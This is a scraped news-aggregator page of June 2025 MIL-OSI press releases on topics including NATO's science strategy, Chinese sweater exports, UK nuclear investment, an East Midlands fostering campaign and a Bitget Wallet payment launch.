NewzIntel.com

    • Checkout Page
    • Contact Us
    • Default Redirect Page
    • Frontpage
    • Home-2
    • Home-3
    • Lost Password
    • Member Login
    • Member LogOut
    • Member TOS Page
    • My Account
    • NewzIntel Alert Control-Panel
    • NewzIntel Latest Reports
    • Post Views Counter
    • Privacy Policy
    • Public Individual Page
    • Register
    • Subscription Plan
    • Thank You Page

Category: Technology

  • MIL-OSI Security: NATO releases new Science & Technology Strategy

    Source: NATO

    On Thursday (5 June 2025), NATO Defence Ministers endorsed a new strategy that guides Alliance-wide scientific and technological research in support of defence and security.

    The NATO Science and Technology (S&T) Strategy stresses the importance of science and technology “to enable the Alliance to outperform strategic competitors and potential adversaries in inserting scientific knowledge and adopting emerging technologies across all NATO core tasks”. It further emphasises the role that defence and security-related science and technology plays in the development of capabilities and enhancement of military interoperability, as well as in the further reinforcement of societal, political and industrial resilience.

    The Strategy sets three mutually-reinforcing strategic goals for the NATO S&T Enterprise:

    • To “Anticipate and Invest”: notably through enhanced foresight and increasing investment in critical S&T areas, such as AI, quantum and biotechnologies, and support for Science, Technology, Engineering and Mathematics (STEM) education.
    • To “Safeguard and Protect” the NATO S&T Enterprise against hybrid threats such as interference.
    • To “Orchestrate and Energize” S&T, including by  promoting “denser, deeper and more agile coordination” and  exploiting S&T results across all NATO core tasks.

    The new Strategy supersedes the NATO S&T Strategy released in 2018. It supports NATO’s 2022 Strategic Concept and takes accounts of the science & technology macro trends that the Science and Technology Organization (STO) has identified as important for the Alliance for the next 20 years, and outlined in its 2025-2045 report (hyperlink).

    The Strategy is available here.

    MIL Security OSI –

    June 10, 2025
  • MIL-OSI China: Honghe sweaters ‘dress’ their way into global market

    Source: People’s Republic of China – State Council News

    Tucked away in the misty folds of rural Zhejiang Province lies a township that could very well be one of fashion’s best kept secrets. Each year, over 400 million sweaters glide off production lines in Honghe — a name that barely registers on most global style radars, yet it has quietly knit itself into an industrial powerhouse with an annual turnover of over 20 billion yuan (about 2.78 billion U.S. dollars).

    A stroll through Honghe is like being transported into the heart of a living atelier. Yarn shops, accessory stores and design studios line the streets, while tricycles laden with raw materials zip through the shaded lanes in a rhythmic blur. This bustling scene hums with purpose, a fusion of tradition, ingenuity and the relentless pursuit of quality.

    Honghe’s sweater story began modestly in the mid-1970s with the town’s first commune-run knitting factory. By 1984, the local market was pulsing with promise, drawing in entrepreneurs like Gao Xiaohua, who moved his knitting machines and shop from his home to the market.

    His eye for quality — fastidiously hand-selecting yarns, obsessively testing for color fastness — earned him a loyal customer base and laid the foundation for what would become Zhejiang 30 Autumn Garments Co., Ltd.

    “When I first moved my new factory here, the road in front of the gate wasn’t even paved,” Gao recalled while pointing to Fumin Road. By 2002, his factory had expanded to an over 10,000 square meter lot, and was one entity among countless others helping the sweater industry in Honghe take shape.

    Today, in 30 Autumn’s intelligent workshop, workers deftly operate computerized knitting machines, producing intricate patterns and textures that cater to diverse tastes. With collaborative efforts, the company can churn out over 20,000 sweaters daily.

    Today, Honghe boasts over 20 large-scale sweater enterprises, creating jobs for 70,000 people and forming a complete industrial chain from spinning to sales.

    Honghe’s global reach is driven by its ability to meet international demands and make innovations. Shuosheng Apparel Co., Ltd., run by Zheng Youlan, has built a strong customer base in South America and Mexico. She learned firsthand during a trade mission to Dubai in 2024 that local buyers crave eco-friendly materials — a valuable insight that helped her expand her business.

    Honghe sweaters have been popular in the Middle East market for over 20 years, attracting more than 1,000 international buyers to place orders every year, with an annual export value reaching tens of millions of U.S. dollars, according to Zheng.

    In 2024, the town’s sweater export value reached 609 million yuan, up 20.38 percent year on year, contributing about one third of its total industrial export volume.

    The town’s innovation extends beyond the factory floor. The platform, Mao Shan Pai, a collaboration between the local government, state-owned companies and the local chamber of commerce, invites overseas trade delegations and organizes international visits for local enterprises. It also leverages AI technology to break down language barriers and showcase products through digital fashion shows, enhancing the town’s global presence.

    Stepping into the AI studio of Mao Shan Pai, the scene empowered by technology is refreshing. Multilingual digital avatars work around the clock to introduce new products to global buyers, making time zone and language barriers things of the past.

    The AI design system can generate 3D models of different styles wearing the sweaters based on a single flat image of a sweater, meeting various needs. The models’ postures and lighting effects can vividly display the texture, drape and other qualities of the sweaters.

    Mao Shan Pai integrates resources from eight major sweater markets, 10 industrial parks, over 2,000 enterprises and nearly 10,000 stall operators in Honghe.

    It provides one-stop digital trade services, simplifying the complex process of sweater exports. With over 10,000 new products released annually and nearly 2,600 registered overseas buyers, the platform has become a key driver of Honghe’s international success.

    “From domestic and international markets to digital infrastructure and industry integration, we are committed to making Honghe the global epicenter of sweaters,” said Xu Wei, secretary general of the Honghe sweater chamber of commerce. 

    MIL OSI China News –

    June 10, 2025
  • MIL-OSI Africa: CEM Africa Summit 2025: Leading the Future of Customer Experience with Artificial Intelligence Innovation

    Source: Africa Press Organisation – English (2) – Report:

    CAPE TOWN, South Africa, June 10, 2025/APO Group/ —

    The CEM Africa Summit 2025 is set to redefine the future of customer experience (CX) by placing Artificial Intelligence (AI) at the heart of the conversation. With the rapid evolution of AI technologies, the summit will bring together thought leaders, innovators, and industry experts to explore how AI is transforming CX across industries such as finance, retail, and telecoms.

    This year’s summit, taking place from 12 – 14 August, will feature an impressive lineup of speakers who are at the forefront of AI and CX. Notable figures include:

    • Ben Phillips, Head of Customer Experience Performance Centre, Fujitsu
    • Daryl Wilkes, Director of Customer Care, ASOS.com
    • Tatiana Ndluvo, Executive Head: Marketing Nedbank Africa Region, Nedbank
    • Gedeon Rossouw, Head of Client Care, Absa
    • Marnitz Van Heerden, Head of Customer Experience, Discovery
    • Francois Retief, Head of Customer Experience, FNB

    As a hub for senior CX and operational leaders, CEM Africa Summit will showcase cutting-edge AI applications that are reshaping how companies interact with their customers. With over 700 senior leaders from across Africa’s leading industries in attendance, the summit offers a unique opportunity to explore how AI solutions can enhance personalization, predict customer needs, and streamline service delivery.

    Key Highlights of CEM Africa Summit 2025:

    • AI-driven CX Strategy Sessions: Learn from global leaders on how AI is transforming customer service, improving operational efficiencies, and personalizing experiences at scale.
    • Workshops on implementing AI tools in CX management, from chatbots to data analytics, with hands-on demonstrations from tech providers.
    • Networking Opportunities with decision-makers in CX and technology, helping brands connect with partners, suppliers, and key customers across industries.

    Agenda Insights

    The CEM Africa Summit 2025 will feature a series of forward-looking panels and workshops focused on AI in CX. Attendees can look forward to discussions on:

    • Harnessing AI for Real-Time Customer Insights: How AI-powered analytics can help businesses understand customer behavior and tailor experiences in real time.
    • AI and Automation in Contact Centers: Exploring how AI is streamlining customer interactions and empowering agents with intelligent tools for faster resolution.
    • Ethics of AI in Customer Experience: A panel of industry leaders will discuss the ethical implications of AI in customer service, focusing on data privacy, algorithmic transparency, and human-centric AI design.

    “We are excited to bring together thought leaders who are shaping the future of AI in customer experience,” said Terry Southam, Group Portfolio Director at VUKA Group. “The CEM Africa Summit 2025 will provide our audience with the knowledge and tools to adopt AI solutions that will transform their businesses and enhance their customer interactions.”

    CEM Africa Summit 2025 is a must-attend event for any business leader looking to stay ahead in the AI-powered future of customer experience. For more information on speakers, sessions, and how to attend, visit [Event Website].

    MIL OSI Africa –

    June 10, 2025
  • 11 years of Modi govt: Flagship schemes drive India’s sporting transformation

    Source: Government of India

    Source: Government of India (4)

    Over the past 11 years, India has witnessed a dramatic transformation in its sporting landscape, driven by a series of ambitious flagship schemes launched under the Modi government. From building grassroots infrastructure to supporting Olympic medal hopefuls, the Ministry of Youth Affairs and Sports has played a pivotal role in shaping a new sporting era for the nation.

    With India’s youth forming nearly 65% of its population, the government has identified sports as a key tool for empowerment and nation-building. Reflecting this, the sports ministry’s budget has seen a 130.9% increase from ₹1,643 crore in 2014–15 to a record ₹3,794 crore in 2025–26.

    Central to this transformation is the Khelo India programme, launched in 2016–17. With ₹1,000 crore allocated in the latest budget, it has supported the creation of over 1,000 training centres, approved 326 infrastructure projects, and nurtured nearly 2,845 athletes through coaching and financial assistance.

    The Khelo India Games—covering youth, university, para and winter editions—have grown significantly, with over 50,000 athletes participating in 17 editions since 2018. Talent identification is being sharpened through KIRTI, a data-driven program using AI-based protocols to scout young talent aged 9–18.

    At the elite level, the Target Olympic Podium Scheme (TOPS) has backed India’s Olympic and Paralympic champions, offering customized training and monthly allowances to core athletes. The results are evident: India won 7 medals at Tokyo 2020 and 6 at Paris 2024, while Paralympians clinched a record 29 medals in Paris.

    The Fit India Movement, launched in 2019, has further promoted a culture of fitness through mass participation events, online campaigns, and family engagement sessions.

    In addition, a ₹200 crore special package has bolstered sports infrastructure in Jammu & Kashmir, while programs under Nehru Yuva Kendra Sangathan (NYKS) have empowered youth across 623 districts.

    From village-level talent to international podiums, India’s sports ecosystem is now more inclusive, robust, and performance-driven than ever. As the nation looks ahead to the 2036 Olympics and beyond, these initiatives reflect a clear vision: to make India a top-10 sporting nation in the world.

    June 10, 2025
  • MIL-OSI United Kingdom: Thousands of jobs to be created as government announces multi-billion-pound investment to build Sizewell C

    Source: United Kingdom – Executive Government & Departments

    Press release

    Thousands of jobs to be created as government announces multi-billion-pound investment to build Sizewell C

    10,000 jobs, including 1,500 apprenticeships, to be created as the government announces multi-billion investment to build Sizewell C.

    • Chancellor to confirm funding at the GMB Congress ahead of Spending Review, as Energy Secretary vows ‘golden age’ of nuclear.
    • Investment to deliver clean power to millions of homes, cut energy bills and boost energy security.
    • Government commits over £6 billion of investment to nuclear submarine industrial base to deliver on Strategic Defence Review.

    Ten thousand jobs will be created as the government announces a £14.2 billion investment to build Sizewell C nuclear plant as part of the Spending Review, ending years of delay and uncertainty. 

    The Chancellor is set to confirm the funding at the GMB Congress later today ahead of the government’s Spending Review, as the Energy Secretary vows a ‘golden age’ of nuclear to boost the UK’s energy security. 

    The government’s investment will go towards creating 10,000 jobs, including 1,500 apprenticeships, and support thousands more jobs across the UK. 

    The company has already signed £330 million in contracts with local companies and will boost supply chains across the UK with 70% of contracts predicted to go to 3,500 British suppliers – supporting new jobs in construction, welding, and hospitality.   

    The equivalent of around six million of today’s homes will be powered with clean homegrown energy from Sizewell C. The investment in clean, homegrown power brings to an end decades of dithering and delay, with the government backing the builders in the drive for energy security and kick-starting economic growth.  

    The announcement comes as the government is set to confirm one of Europe’s first Small Modular Reactor programmes. This comes alongside record investment in R&D for fusion energy, worth over £2.5 billion over five years. Taken together with Sizewell C, this delivers the biggest nuclear building programme in a generation.

    Clean, home-grown power at Sizewell C will help drive the UK’s energy security, as part of the government’s mission to protect family finances by replacing the UK’s dependency on fossil fuel markets controlled by dictators with homegrown power that we control.

    Chancellor of the Exchequer, Rachel Reeves, said:

    Today we are once again investing in Britian’s renewal, with the biggest nuclear building programme in a generation. This landmark decision is our Plan for Change in action.  

    We are creating thousands of jobs, kickstarting economic growth and putting more money people’s pockets.

    Energy Secretary, Ed Miliband said:

    We will not accept the status quo of failing to invest in the future and energy insecurity for our country.  

    We need new nuclear to deliver a golden age of clean energy abundance, because that is the only way to protect family finances, take back control of our energy, and tackle the climate crisis. 

    This is the government’s clean energy mission in action- investing in lower bills and good jobs for energy security.

    Sizewell C

    Sizewell C will provide 10,000 people with employment at peak construction and support thousands more jobs across the UK, including 1,500 apprenticeships. The company has already signed £330 million in contracts with local companies and will boost supply chains across the UK with 70% of contracts predicted to go to 3,500 British suppliers – supporting new jobs in construction, welding, and hospitality. Jobs in the nuclear industry pay well above national averages and the government is committed to working with nuclear trade unions such as the GMB, Unite, and Prospect, who will continue to play a pivotal role in building the industry.   

    Despite the UK’s strong nuclear legacy, opening the world’s first commercial nuclear power station in the 1950s, no new nuclear plant has opened in the UK since 1995, with all of the existing fleet except Sizewell B likely to be phased out by the early 2030s.  

    Sizewell C was one of eight sites identified in 2009 by then-Energy Secretary Ed Miliband as a potential site for new nuclear. However, the project was not fully funded in the 14 years that followed under subsequent governments.  

    The government’s nuclear programme is now the most ambitious for a generation – once small modular reactors and Sizewell C come online in the 2030s, combined with Hinkley Point C, this will deliver more new nuclear to grid than over the previous half century combined.

    Small Modular Reactors

    Great British Nuclear is expected to announce the outcome of its small modular reactor competition imminently, the first step towards the goal of driving down costs and unlocking private finance with a long-term ambition to bring forward one of the first SMR fleets in Europe.  

    The government’s nuclear resurgence will support the UK’s long-term energy security, with small modular reactors expected to power millions of homes with clean energy and help fuel power-hungry industries like AI data centres.   

    This follows reforms to planning rules announced by the Prime Minister in February 2025 to make it easier to build nuclear across the country – changing the rules to back the builders of this nation, and saying no to the blockers who have strangled our chances of cheaper energy, growth and jobs for far too long.   

    The government is also looking to provide a route for private sector-led advanced nuclear projects to be deployed in the UK, alongside investing £300m in developing the world’s first non-Russian supply of the advanced fuels needed to run them.   

    Companies will be able to work with the government to continue their development with potential investment from the National Wealth Fund.

    Fusion Energy

    The government is also making a record investment in R&D for fusion energy, investing over £2.5 billion over 5 years. This includes progressing the STEP programme (Spherical Tokamak for Energy Production), the world-leading fusion plant in Nottinghamshire, creating thousands of new jobs and with the potential to unlock limitless clean power.  

    This builds on the UK’s global leadership to turbocharge economic growth in the Oxford-Cambridge corridor, while helping deliver the UK’s flagship programme to design and build a prototype fusion power station on the site of a former coal-fired plant.

    Defence

    To secure the UK as a leader in both civil and defence nuclear, the government will also be investing £4 billion over the next decade in the Plymouth naval base as well as continued long-term investment in our Defence Nuclear Enterprise and its industrial base, as this is critical for our national security while also being a significant generator of economic opportunities, jobs and growth across the entire country. Further investments in the defence nuclear sector include over £6 billion over the Spending Review period to enable a transformation in the capacity, capability and productivity of the UK’s submarine industrial base, including at BAE Systems in Barrow and Rolls-Royce Submarines in Derby – to deliver the increase in the submarine production rate announced in the Strategic Defence Review. 

    In addition, we will embark on a multi-decade, multi-billion redevelopment of HMNB Clyde, with an initial £250 million of funding over 3 years, supporting jobs, skills and growth across the West of Scotland. 

    The government will also invest over £420 million of additional funding in Sheffield Forgemasters, securing 700 existing skilled jobs and creating over 900 new construction roles.


    Julia Pyke and Nigel Cann, Joint-Managing Directors of Sizewell C said:

    Today marks the start of an exciting new chapter for Sizewell C, the UK’s first British-owned nuclear power plant in over 30 years. It’s a privilege to be leading a project that will create over 10,000 jobs, secure Britain’s energy future and revitalise the UK’s nuclear industry.

    We aim to showcase British infrastructure at its best – delivering a cleaner, more secure energy future for generations to come.

    Warren Kenny, GMB Regional Secretary, said:

    Sizewell C is absolutely vital if the UK is to hit net zero.

    Nuclear power is essential for clean, affordable, and reliable energy – without new nuclear there can be no net zero.

    Sizewell C will provide thousands of good, skilled, unionised jobs and we look forward to working closely with the government and Sizewell C to help secure a greener future for this country’s energy sector.

    Mike Clancy, General Secretary of Prospect, said:

    Delivering this funding for Sizewell C is a vital step forward, this project is critical to securing the future of the nuclear industry in the UK.

    New nuclear is essential to achieving net zero, providing a baseload of clean and secure energy, as well as supporting good, unionised jobs.

    Further investment in SMRs and fusion research shows we are finally serious about developing a 21st century nuclear industry. All funding must be backed up by a whole-industry plan to ensure we have the workforce and skills we need for these plans to succeed.

    Tom Greatrex, Chief Executive of the Nuclear Industry Association, said:

    This new nuclear programme will give the country the jobs, the economic growth and the energy security we need to ensure a secure and reliable power supply for the future. This announcement shows the government is serious about new nuclear, and realising the economic benefits that come with it, and will be welcomed in communities the length and breadth of Britain.

    Share this page

    The following links open in a new tab

    • Share on Facebook (opens in new tab)
    • Share on Twitter (opens in new tab)

    Updates to this page

    Published 10 June 2025

    MIL OSI United Kingdom –

    June 10, 2025
  • MIL-OSI United Kingdom: Busting myths about LGBTQ+ foster carers

    Source: City of Derby

    At Foster for East Midlands Councils, we welcome foster carers from all communities – what is important is your ability to offer a safe, supportive, and loving home. As we honour Pride Month, we’re shining a light on the incredible contribution LGBTQ+ carers make to our fostering community and want to encourage more people to consider whether fostering could be the perfect role for them.  

    Whether you’re part of the LGBTQ+ community, an ally, or simply want to learn more, this Q&A may help highlight the vital role LGBTQ+ carers play in transforming children’s lives.

    Who can foster?

    Anyone over the age of 21 years old can foster!  What is important is that you have the space and time in your life to give a child the love, safety and routine that they need.  All of our children are different, and we know having a vibrant and diverse community of foster carers with families of all shapes and sizes gives us the best chance to provide the nurturing environments they all need.  

    How do I start the process to become a foster carer?

    The first step is to speak to someone on the Foster for East Midlands team about you and your circumstances.  You will receive a friendly and welcoming response – we are always looking at the potential people have to become foster carers.  Any aspects of your life that are more personal to you are treated sensitively and respectfully – we know that some aspects that a person might feel more cautious about sharing are actually what make you more skilled in understanding how a child in your care might be feeling. 

    What does the assessment to become a foster carer look like?

    All of our foster carers across our four councils go through the same assessment to become a foster carer.  The assessment looks at you, your life and circumstances, and how these shape the type of carer you can be for a child.  We know that your identity is an important part of you and your life and this is celebrated within the assessment.  At Foster for East Midlands we are committed to equality and inclusivity.

    What support will I receive?

    We know how important support is for our foster carers.  All four councils within our region offer a comprehensive, inclusive support package, including support that is bespoke to you and your family.  You will have your own social worker who will be there to support, advocate, guide and celebrate with you as a foster carer.  You will also be part of more informal support networks with like-minded carers – for our LGBT+ carers and allies, alongside other support groups we have a Fostering Inclusivity group where you can share valuable information, guidance and resources to support you and the children in your care.

    How will I be matched with a child to care for?

    We understand the importance of finding the right fostering home for every one of our children – we consider you and your circumstances alongside the child’s needs and background as part of this process.

    Pride is More Than a Month

    Pride Month is a time to celebrate love, identity, and inclusion—but our commitment doesn’t end in June. At Foster for East Midlands Councils, we stand with the LGBTQ+ community every single day. We know that love makes a family—and LGBTQ+ foster carers bring love, compassion, and resilience to the children they care for.

    Thinking About Fostering?

    If you’ve ever considered fostering—or just want to learn more—we’d love to hear from you. Whether you’re single, in a couple, LGBTQ+ or not, what matters most is your heart. Together, we can create brighter futures for children across the East Midlands. Get in touch with your local council fostering team via Foster for East Midlands Councils today call 03033 132 950, email hello@fosterforeastmidlands.org.uk.

    Read Lyn and Shelley’s foster carers story, caring for over 100 children – visit our news web page 

    Fostering information events, online and in-person
    Come and say hello, and lets talk fostering. 

    Pride Events Foster for East Midlands will be attending are: 

    Special ‘All for One’ Drop-In Event
    Friday 13 June, 3.30pm and 7pm

    Arnold Library, 161 Front Street, Arnold, Nottingham NG5 7EE

    Drop in anytime during the session to find out everything about fostering.

    Online via Zoom
    Email hello@fosterforeastmidlands.org.uk for a link to join:

    • Friday 20 June, 12pm–1pm
    • Tuesday 1 July, 6:30pm–7:30pm
    • Thursday 17 July, 12 noon–1pm

    In Person
    Register your place at fosterforeastmidlands.org.uk/events:

    • Wednesday 25 June, 6pm–7pm, Belper Leisure Centre
    • Tuesday 8 July, 6:15pm–7:15pm, Richard Herrod Centre, Nottingham
    • Tuesday 22 July, 6:30pm–7:30pm, Nottingham Road Fire Station, Derby

    For full event details and more, visit Foster for East Midlands information event web page. 

    MIL OSI United Kingdom –

    June 10, 2025
  • MIL-OSI Russia: Professor Mohammed Ali Beravi became an Honorary Doctor of SPbPU

    Translation. Region: Russian Federal

    Source: Peter the Great St Petersburg Polytechnic University – Peter the Great St Petersburg Polytechnic University –

    On June 9, a solemn ceremony of presenting the mantle and diploma of Honorary Doctor of SPbPU to Professor Mohammed Ali Beravi took place at Peter the Great St. Petersburg Polytechnic University.

    In accordance with the official regulations, the title of “Honorary Doctor of Peter the Great St. Petersburg Polytechnic University” is awarded to outstanding figures in science and technology, education and culture, as well as leading specialists from Russia and foreign countries for significant contribution to the development of advanced areas of knowledge and science, whose activities contribute to strategic development, expansion of areas of cooperation and increasing the authority of the university at the international level. The decision to award the title of Honorary Doctor of SPbPU to Mohammed Ali Beravi was unanimously adopted by the members of the SPbPU Academic Council on September 27, 2024. The University’s Scientific Secretary Dmitry Karpov introduced the new Honorary Doctor.

    Mohamed Ali Berawi is a Professor of Engineering, M.Eng., Ph.D., and Professor in the Department of Civil and Environmental Engineering, Faculty of Engineering, and Executive Director of the Center for Sustainable Infrastructure Development, University of Indonesia. He is the Chairman of the Indonesian Faculty Association and the Advisory Board of the Forum of Professional Organizations in Science and Technology, Director of the Center for Sustainable Infrastructure Development, Executive Director of the ASEAN University Network for Sustainable Cities and Urbanization, and the Leader of the Smart Cities Working Group of the Association of Pacific Rim Universities Sustainable Cities and Landscapes. Mohamed Ali Berawi was ranked in the top 2% of scientists in the world by Elsevier and Stanford University from 2021 to 2024.

    Professor Berawi has served as a leading advisor to the Ministry of Transport of the Republic of Indonesia, Chairman of the Standing Committee on Strategic Infrastructure Policy of the Indonesian Chamber of Commerce, and Member Secretary of the Presidential Advisory Council of the Republic of Indonesia. Since 2022, he has served as the Deputy for Green and Digital Transformation at Nusantara Metropolitan Office in Indonesia.

    Students in the uniform of the Polytechnic University of the early 20th century brought in the doctoral mantle, the Polyhymnia choir performed the Gaudeamus anthem. Rector of SPbPU, academician of the Russian Academy of Sciences Andrey Rudskoy presented a book about honorary doctors of the Polytechnic University, which has a page dedicated to Mohammed Ali Beravi.

    Awarding the title of Honorary Doctor of SPbPU to Professor Beravi is a recognition of his outstanding achievements in science and practical activities aimed at sustainable development and the implementation of advanced technologies. His work is ideally in line with the spirit and strategic goals of our university. His many years of work at the Polytechnic contributed to the development of the master’s programs “Bioeconomics” and “Energy Economics”, where he shared his competencies in the field of sustainable development of territories using the city of Nusantara as an example. In particular, Professor Beravi taught courses and supervised, together with Polytechnic teachers, students’ research work in English. Together with Professor Beravi and his Indonesian colleagues, the Polytechnic hopes to implement a joint project on modeling the development of smart cities, – Andrey Rudskoy emphasized.

    It is a great honour for me to receive the title of Honorary Doctor of the Polytechnic University. This recognition reflects our shared commitment to the development of knowledge, innovation and international cooperation. I hope that this achievement will inspire our joint initiatives in the field of science and technology development. I believe that science and technology should serve higher purposes, offering real solutions that improve the quality of life, support sustainability and ensure a better future for the next generations, – thanked Professor Mohamed Ali Berawi.

    The ceremony was also attended by the Honorary Consul of the Republic of Indonesia in St. Petersburg, President of the Association of Industrial Enterprises of St. Petersburg Valery Radchenko, a graduate of the Polytechnic University. He congratulated Professor Mohammed Ali Berawi on receiving the honorary title. In addition, the Ambassador of the Republic of Indonesia to the Russian Federation and the Republic of Belarus Jose Tavares sent his congratulations in the form of a video message.

    After the ceremony, Mohammed Ali Berawi met with Indonesian students who performed the national dance Ratoh Jaroe.

    We are immensely proud that Professor Mohammed Ali Berawi is part of the Polytechnic family. It is a great honor for us that a world-class scientist, whose projects change the future of cities, has been making a significant contribution to the development of our university for many years. It is especially inspiring that he is our fellow countryman, glorifying Indonesia and Polytech on the global stage. We say with all our hearts: Welcome home, Professor, Selamat datang di Polytech! — shared the chairman of the Indonesian community at SPbPU, a postgraduate student of IMMiT Tegu Imanullah.

    Professor Mohammed Ali Beravi gave a lecture to students and staff of the university at the Technopolis Polytech research complex. Before that, Vice-Rector for Youth Policy and Communication Technologies Maxim Pasholikov awarded Professor Beravi with gratitude and a commemorative medal of SPbPU for assisting in the development of the University Endowment Fund.

    The lecture was dedicated to the creation of a smart sustainable city Nusantara — the new capital of Indonesia, where environmental responsibility and digital innovations are combined. The concept is based on the triad of Nature 5.0, Industry 4.0 and Society 5.0, which ensures the restoration of nature through technological progress, innovations for sustainable development and a human-oriented society. Nusantara is designed as the world’s first carbon-neutral city by 2045. To achieve this, 65% of its territory will be occupied by restored tropical forests — natural absorbers of CO₂. Among the innovations are autonomous transport and “smart buildings”. Professor Berawi presented the national project being implemented, which will become a global example of the balance between technology, ecology and the quality of life of people.

    During the visit, Mohammed Ali Beravi was given a tour of the Main Academic Building. He visited the SPbPU History Museum, the White Hall, the Reading Room, and looked at the gallery of outstanding polytechnic scientists. Professor Beravi was also told about the Polytechnic Supercomputer Center and the MetaCampus Polytech project of the Civil Engineering Institute.

    Please note: This information is raw content directly from the source of the information. It is exactly what the source states and does not reflect the position of MIL-OSI or its clients.

    MIL OSI Russia News –

    June 10, 2025
  • MIL-OSI Russia: The 9th International Conference on Digital Belt and Road Opens in Chengdu

    Translation. Region: Russian Federal

    Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

    Source: People’s Republic of China – State Council News

    BEIJING, June 10 (Xinhua) — The 9th International Conference on Digital Belt and Road, focusing on cooperation in applying digital technologies to global sustainable development, opened in Chengdu, capital of southwest China’s Sichuan Province, on Monday.

    The event was jointly organized by the Digital Belt and Road Initiative (DBAR), Chengdu Institute of Technology and the International Big Data Research Center for Sustainable Development Goals, according to a statement posted on the official website of the Chengdu Municipal People’s Government.

    The conference was attended by experts, scientists and representatives of institutions from nearly 30 countries and regions around the world.

    Speaking at the opening ceremony, DBAR Chairman Guo Huadong, a member of the Chinese Academy of Sciences, pointed out that 2025 is the tenth year of global efforts to advance the 2030 Agenda for Sustainable Development. DBAR will continue to deepen cooperation with governments, research institutes and international organizations to advance the formation of sustainable development solutions with digital technologies at the core.

    Launched by Chinese scientists in 2016, the DBAR program has produced a series of widely recognized knowledge products to respond to sustainable development challenges in eight areas: agriculture and food security, climate and environment, disaster risk, natural and cultural heritage, cities and infrastructure, water resources and water security, coastal zones and oceans, and mountains and polar cold zones. -0-

    MIL OSI Russia News –

    June 10, 2025
  • MIL-OSI: Bitget Scans Ahead at Solana Summit 2025 with QR-based Payment Rollout

    Source: GlobeNewswire (MIL-OSI)

    VICTORIA, Seychelles, June 10, 2025 (GLOBE NEWSWIRE) — Bitget Wallet, the leading non-custodial Web3 wallet, concluded an impactful showing at the Solana APAC Summit 2025, held in Da Nang, Vietnam from June 5 to 7. As a major sponsor of the summit, Bitget Wallet used the three-day event to debut its newest payment features, connect with builders from across the Solana ecosystem, and demonstrate how onchain tools can power real-world use cases across Asia and beyond.

    On the opening day, Bitget Wallet formally announced the integration of QR-based payment integrations, which includes Solana Pay and national QR payment systems, for seamless, multi-currency payments. This integration lives up to Bitget Wallet’s new identity of ‘Crypto for Everyone’, bridging the gap between blockchain and everyday commerce. Bitget Wallet also hosted a developer workshop showcasing the ease of integrating Solana dApps into the wallet’s infrastructure, including support for seamless swaps, staking, and native Solana trading via Jupiter DEX.

    Day 2 of the Summit saw Bitget Wallet’s Business Development Manager, Xavier Ow Yeong, take the stage to discuss how onchain finance is changing the way users spend, save, and access capital. That evening, Bitget Wallet co-hosted a meetup with Saros, previewing its upcoming VietQR payment feature in a live test environment. Over 150 community members attended the event, explored new Bitget Wallet integrations firsthand, and received exclusive merchandise alongside a live airdrop reward for early testers.

    The Solana APAC Summit marks a significant milestone in Bitget Wallet’s roadmap to turn crypto wallets from storage tools into everyday super apps. As part of a broader mission to scale real-world adoption, the event demonstrates how embedded payment infrastructure, cross-chain liquidity, and user-first design can unlock new crypto behaviors, whether in emerging markets or global hubs of Web3 development.

    Bitget Wallet’s participation in the Solana Summit is part of its ongoing initiative to expand crypto access across Asia, aligning ecosystem partners, developers, and communities around the next wave of practical, onchain tools.

    About Bitget Wallet
    Bitget Wallet is a non-custodial crypto wallet designed to make crypto simple and secure for everyone. With over 80 million users, it brings together a full suite of crypto services, including swaps, market insights, staking, rewards, DApp exploration, and payment solutions. Supporting 130+ blockchains and millions of tokens, Bitget Wallet enables seamless multi-chain trading across hundreds of DEXs and cross-chain bridges. Backed by a $300+ million user protection fund, it ensures the highest level of security for users’ assets. Its vision is Crypto for Everyone — to make crypto simpler, safer, and part of everyday life for a billion people.
    For more information, visit: X | Telegram | Instagram | YouTube | LinkedIn | TikTok | Discord | Facebook
    For media inquiries, contact media.web3@bitget.com

    Photos accompanying this announcement are available at
    https://www.globenewswire.com/NewsRoom/AttachmentNg/91b54b94-4741-40ed-b89f-148168f60fdd
    https://www.globenewswire.com/NewsRoom/AttachmentNg/55eded33-ff2f-4c2e-8049-588eba6af3f6
    https://www.globenewswire.com/NewsRoom/AttachmentNg/0687e900-51a8-4caf-bebd-b9b229aa8fcd
    https://www.globenewswire.com/NewsRoom/AttachmentNg/e4a31e7f-1fa4-46f5-83f3-dd3536d378bb
    https://www.globenewswire.com/NewsRoom/AttachmentNg/fa35936b-7656-4156-995e-211e4d503db5
    https://www.globenewswire.com/NewsRoom/AttachmentNg/0fd5bd5b-c1ae-46db-af86-08a14f2f75a9
    https://www.globenewswire.com/NewsRoom/AttachmentNg/205bbae6-30c4-4605-9d97-de11d0109ccf
    https://www.globenewswire.com/NewsRoom/AttachmentNg/2be5f55d-8911-4f2f-a0be-e09dec432a1b
    https://www.globenewswire.com/NewsRoom/AttachmentNg/7ff8c528-21a6-49ed-b61a-eef93d06febc

    The MIL Network –

    June 10, 2025
  • MIL-OSI Africa: Statement by African Export-Import Bank (Afreximbank) on recent Fitch Ratings Report

    Source: Africa Press Organisation – English (2) – Report:

    Source: Afreximbank | Jun 10, 2025

    Statement by African Export-Import Bank (Afreximbank) on recent Fitch Ratings Report

    Fitch also acknowledges the Bank’s strong capitalization including its “strong equity to assets and guarantees ratio” and “excellent internal capital generation”

    The bank operates with a high level of collateral and credit risk mitigants and has already taken relatively large provisions on some sovereign exposures

    CAIRO, Egypt, June 10, 2025/APO Group/ —

    • Afreximbank (www.Afreximbank.com) operates under very high standards of financial transparency. The Bank’s financial reporting strictly adheres to International Financial Reporting Standards (IFRS), including IFRS 9. This standard governs the classification and staging of loan performance, including the treatment of non-performing loans, amongst other matters. The Bank’s application of IFRS 9 is comprehensively detailed in its 2024 Financial Statements and further clarified in the external auditors’ report. As cited in the ratings report, dated 4 June 2025, “Fitch’s definition of NPLs differs from the Bank’s approach, which makes use of forward-looking information”.
    • It is important to note that Fitch acknowledges Afreximbank’s financial resilience, highlighting that “the bank operates with a high level of collateral and credit risk mitigants and has already taken relatively large provisions on some sovereign exposures, which would reduce any potential further negative financial impact for the bank”.
    • Fitch also acknowledges the Bank’s strong capitalization including its “strong equity to assets and guarantees ratio” and “excellent internal capital generation”.  Concentration risk is also reported as “low” and its liquidity assessment of “a” reflects the Bank’s “strong quality of treasury assets”. The Bank believes that these factors reinforce the overall soundness of the Bank’s risk management framework.
